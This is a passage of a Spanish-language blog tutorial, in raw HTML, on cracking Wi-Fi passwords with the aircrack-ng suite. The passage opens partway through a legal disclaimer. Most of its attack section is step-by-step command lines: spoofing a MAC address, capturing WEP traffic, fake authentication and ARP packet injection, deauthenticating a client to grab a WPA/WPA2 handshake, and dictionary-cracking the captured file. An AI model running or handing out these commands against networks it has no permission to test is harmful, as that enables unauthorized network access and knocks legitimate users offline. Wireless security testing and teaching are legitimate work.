del uso de los conocimientos adquiridos o aquí descritos. "</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial, Helvetica, sans-serif; font-size: x-small;"><span style="color: #003366; font-weight: bold; text-indent: -0.38in;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFC4HEH-NUD7jAElxV6bDE1JnV7EeTV66NN-deVfXbZ7gkZ-i90Idx79Bbu8YSasiG8IasK9kPSAJJMPSb_OQ-Q-8xWUG5zIyHLSGhumf6S3VM2xb90IBwrf07uAMBV3x508IvivO2CXg9/s1600/penalidades2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFC4HEH-NUD7jAElxV6bDE1JnV7EeTV66NN-deVfXbZ7gkZ-i90Idx79Bbu8YSasiG8IasK9kPSAJJMPSb_OQ-Q-8xWUG5zIyHLSGhumf6S3VM2xb90IBwrf07uAMBV3x508IvivO2CXg9/s640/penalidades2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwD-jszeg9AX39sMnAWwutKt_PgWHqrlnGigXj4pwtwdK0ZuHskQ7gngATLRMl4KzuiJEeRN3ZX_Zt9t6WdzOqzQVsCrUjo2ejVf99VKpoC0KQ1qW9Dp6iQsjCtItqPaQ7B0NbZFBr5CW5/s1600/penalidades3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwD-jszeg9AX39sMnAWwutKt_PgWHqrlnGigXj4pwtwdK0ZuHskQ7gngATLRMl4KzuiJEeRN3ZX_Zt9t6WdzOqzQVsCrUjo2ejVf99VKpoC0KQ1qW9Dp6iQsjCtItqPaQ7B0NbZFBr5CW5/s640/penalidades3.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjmdsE0mb__4mxGU0WZIW_I1UdtBuy7hbjlKZamBoXdoPLcb-A4uei0MS859x1GZ8LPPMoJXwJBJ0sNZFIFNimUVdKaNsYiGxoeiQGsKiWNr1WFGpuYyBkcnJMtD194c8dH0ND5_9hsjM3/s1600/penalidades.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjmdsE0mb__4mxGU0WZIW_I1UdtBuy7hbjlKZamBoXdoPLcb-A4uei0MS859x1GZ8LPPMoJXwJBJ0sNZFIFNimUVdKaNsYiGxoeiQGsKiWNr1WFGpuYyBkcnJMtD194c8dH0ND5_9hsjM3/s640/penalidades.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Conociendo las normas legales continuaremos...</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial, Helvetica, sans-serif;">Para esto a manera de concepto existen diversos tipos de ataques sobre una Wi-Fi :</span></div>
<div style="text-align: justify;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Eavesdropping</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Defraudación de comunicaciones</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Hijacking</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Man in the Middle.</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Denial of Service & Distributed D.O.S</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Spam/ Span over Voice over IP (SPIT)</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">*Ejecución remota de código arbitrario.</span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"> </span></div>
<div>
<span style="color: yellow; font-family: Arial, Helvetica, sans-serif;"><b>Empezando con algunos comandos en Linux :</b></span></div>
<div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-<span style="font-weight: bold;">Viendo
dispositivo </span><span style="font-weight: bold;">inalámbrico</span><span style="font-weight: bold;"> y </span><span style="font-weight: bold;">activandolo</span><span style="font-weight: bold;">.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -36.47999954223633px; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.31in;"><b> </b> </span><span style="text-indent: -0.31in;">ifconfig</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -36.47999954223633px; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.31in;"> </span><span style="text-indent: -0.31in;">ifconfig</span><span style="text-indent: -0.31in;">
wlan0 up</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-<span style="font-weight: bold;">Listando
redes </span><span style="font-weight: bold;">inalámbricas</span><span style="font-weight: bold;">
disponibles.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-weight: bold;"> </span>iwlist
wlan0 scan</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 4.8pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-<span style="font-weight: bold;">Conectandose</span><span style="font-weight: bold;"> a
una red </span><span style="font-weight: bold;">Wirless</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;"><b> </b> </span><span style="text-indent: -0.38in;">iwconfig</span><span style="text-indent: -0.38in;"> wlan0 </span><span style="text-indent: -0.38in;">essid</span><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">WifiDestroyer</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.81in; margin-top: 4.8pt; text-indent: -0.31in; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-<span style="font-weight: bold;">Opteniendo</span><span style="font-weight: bold;"> </span><span style="font-weight: bold;">direccion</span><span style="font-weight: bold;">
IP. </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> dhclient3 wlan0</span></div>
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<b style="color: yellow; text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Instalación en Linux de
herramientas Wireless:</span></b></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-left: 0.38in; margin-top: 5.28pt; text-indent: -0.38in; unicode-bidi: embed; vertical-align: baseline;">
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•<span style="font-weight: bold;"> Normalmente viene instalado pero si no hay que instalarlo
manualmente. </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•<span style="font-weight: bold;"> Paquete “</span><span style="font-weight: bold;">wireless-tool</span><span style="font-weight: bold;">”.
</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> sudo
apt-get install wireless-tools</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•<span style="font-weight: bold;"> Comprobar chipset </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> lspci | grep Network</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> lsusb | grep Wireless</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">• <span style="font-weight: bold;"> </span><b>Instalación de Suite </b><span style="font-weight: bold;">Aircrack-ng</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> sudo
apt-get install aircrack-ng </span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: yellow; font-weight: bold; text-indent: -0.38in;">Airmon-ng</span><span style="color: yellow; font-weight: bold; text-indent: -0.38in;">:
</span><span style="color: yellow; font-weight: bold; text-indent: -0.38in;">cambio
de modo de NIC</span><span style="color: yellow; font-weight: bold; text-indent: -0.38in;">.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><b>EJEMPLOS BÁSICOS:</b></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•To
start wlan0 in monitor mode:</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">airmon-ng</span><span style="text-indent: -0.38in;"> start wlan0</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•To
start wlan0 in monitor mode on channel 8: </span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> airmon-ng start wlan0 8</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•To
stop wlan0:</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">airmon-ng</span><span style="text-indent: -0.38in;"> stop wlan0</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•To
check the status:</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">airmon-ng</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="color: yellow; font-family: Arial, Helvetica, sans-serif;"><b>Cambio de la MAC pasos:</b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#airmon-ng //viendo la interfaz que usamos</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#airmon-ng stop wlan0 //detenemos el modo monitor</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#ifconfig wlan0 down //tiramos nuestra interface</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#macchanger --mac 02:11:22:33:4B:5A wlan0 //cambiando la mac a <span style="text-indent: -0.38in;">02:11:22:33:4B:5A</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">#airmon-ng start wlan0 //iniciamos el modo monitor nuevamente.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">Nota:existen un sin numero de herramientas que practicamente automatizan el cambio de la </span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">MAC :</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•<span style="font-weight: bold;">MAC
</span><span style="font-weight: bold;">Address</span><span style="font-weight: bold;">
</span><span style="font-weight: bold;">Changer</span><span style="font-weight: bold;">:
(Windows)</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">•<span style="font-weight: bold; text-indent: -0.38in;">Technitium</span><span style="font-weight: bold; text-indent: -0.38in;"> </span><span style="font-weight: bold; text-indent: -0.38in;">MAC </span><span style="font-weight: bold; text-indent: -0.38in;">Address</span><span style="font-weight: bold; text-indent: -0.38in;">
</span><span style="font-weight: bold; text-indent: -0.38in;">Changer: </span><span style="font-weight: bold; text-indent: -0.38in;">(Windows) </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 8pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-weight: bold; text-indent: -0.38in;"> http://www.technitium.com/tmac/index.html</span></span></div>
<div>
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk6iMwfMJ11ZlamA_sc7LRRtV0Q-ccMSlX1Ci4n24qBGqk6GIAybdBl_v8-ZqhPG34WN98HS7AuYjiFUVDnpnJ9ikqeJy7XyxpuCrsM8CovZ2UOANVndjdQk4YklEGzdoJHFmAPdLuIbo_/s1600/Imagen1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk6iMwfMJ11ZlamA_sc7LRRtV0Q-ccMSlX1Ci4n24qBGqk6GIAybdBl_v8-ZqhPG34WN98HS7AuYjiFUVDnpnJ9ikqeJy7XyxpuCrsM8CovZ2UOANVndjdQk4YklEGzdoJHFmAPdLuIbo_/s400/Imagen1.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><b><span style="color: red; font-family: Arial, Helvetica, sans-serif;"><u>A)Buscando Redes empezando ATAQUE WEP:</u></span></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">#airodump-ng wlan0 //escaneando redes, para detener : Ctrl + C </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#airodump-ng -c 1 -w underc0de --bssid 4A:2C:56:33:76:5E wlan0 //canal : 3, capturamos </span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"> datas [no cerrar terminal]</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;"><span style="color: yellow;"><b>Asociándonos</b></span></span><span style="text-indent: -0.38in;"><span style="color: yellow;"><b> a la Red (abrimos otro terminal)</b></span></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#aireplay-ng -1 0 -a <span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">4A:2C:56:33:76:5E</span><span style="text-indent: -0.38in;"> -h </span><span style="text-indent: -0.38in;">02:11:22:33:4B:5A -e WifiDestroyer wlan0 </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Si nos aparece algun tipo de error puede ser por lo siguiente:</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-La red a la que quieres atacar está muy lejos.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-Tu tarjeta de red no puede hacer inyección de paquetes.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">-el router tiene seguridad para evitar este tipo de ataques.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="color: yellow; font-family: Arial, Helvetica, sans-serif;"><b>Inyectando tráfico (en el terminal anterior)</b></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#aireplay-ng -3 -b <span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;">4A:2C:56:33:76:5E</span><span style="text-indent: -0.38in;"> -h </span><span style="text-indent: -0.38in;">02:11:22:33:4B:5A wlan0 </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="color: yellow; font-family: Arial, Helvetica, sans-serif;"><b>Desencriptando el password (abrimos un tercer terminal )</b></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#aircrack-ng underc0de-01.cap<span style="text-indent: -0.38in;"> </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Con esto al termino del desencriptado nos mostrara el password.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><b><span style="color: red; font-family: Arial, Helvetica, sans-serif;"><u>B) ATAQUE WPA/WPA2/PSK:</u></span></b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Colocamos nuestra interfaz en modo monitor de la misma forma que en el caso del Ataque </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">WEP.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 5.76pt; unicode-bidi: embed; vertical-align: baseline;">
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="color: yellow; font-family: Arial, Helvetica, sans-serif;"><b>Capturando el HANDSHAKE</b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#airodump-ng mon0 <span style="text-indent: -0.38in;"> //escaneando redes, para detener : Ctrl + C </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#airodump-ng mon0 --channel 1 --bssid <span style="text-indent: -0.38in;">4A:2C:56:33:76:5E -w /tmp/wpa2</span><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;"> //nos aparece una </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;">imagen de la red de</span></span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;"> clientes conectados</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">Abrimos otro terminal y en el colocamos lo siguiente:</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#aireplay-ng -0 1 -a <span style="text-indent: -0.38in;">4A:2C:56:33:76:5E -c 70:F1:A2:95:T4:5D mon0</span><span style="text-indent: -0.38in;"> </span><span style="text-indent: -0.38in;"> // </span><span style="text-indent: -0.38in;">70:F1:A2:95:T4:5D : </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-indent: -0.38in;">MAC del </span></span><span style="font-family: Arial, Helvetica, sans-serif; text-indent: -0.38in;">cliente</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Ejecutado el comando, en el terminal anterior aparecerá en la parte superior derecho el </span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Handshake.</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="text-indent: -0.38in;"><span style="font-family: Arial, Helvetica, sans-serif;">Por ultimo desencriptaremos el password pudiendo hacerse de dos formas con :</span></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">*Fuerza Bruta con el John the Ripper.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">*Por medio de Diccionario.</span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
</div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="color: yellow; font-family: Arial, Helvetica, sans-serif;"><b>Obteniendo el Password</b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;"><b>Utilizando el diccionario </b></span></div>
<div style="direction: ltr; margin-bottom: 0pt; margin-top: 7pt; unicode-bidi: embed; vertical-align: baseline;">
<span style="font-family: Arial, Helvetica, sans-serif;">#aircrack-ng -w /pentest/passwords/wordlists/wpa.txt -b <span style="text-indent: -0.38in;">4A:2C:56:33:76:5E</span><span style="text-indent: -0.38in;"> /tmp/wpa2*.cap</span></span></div>
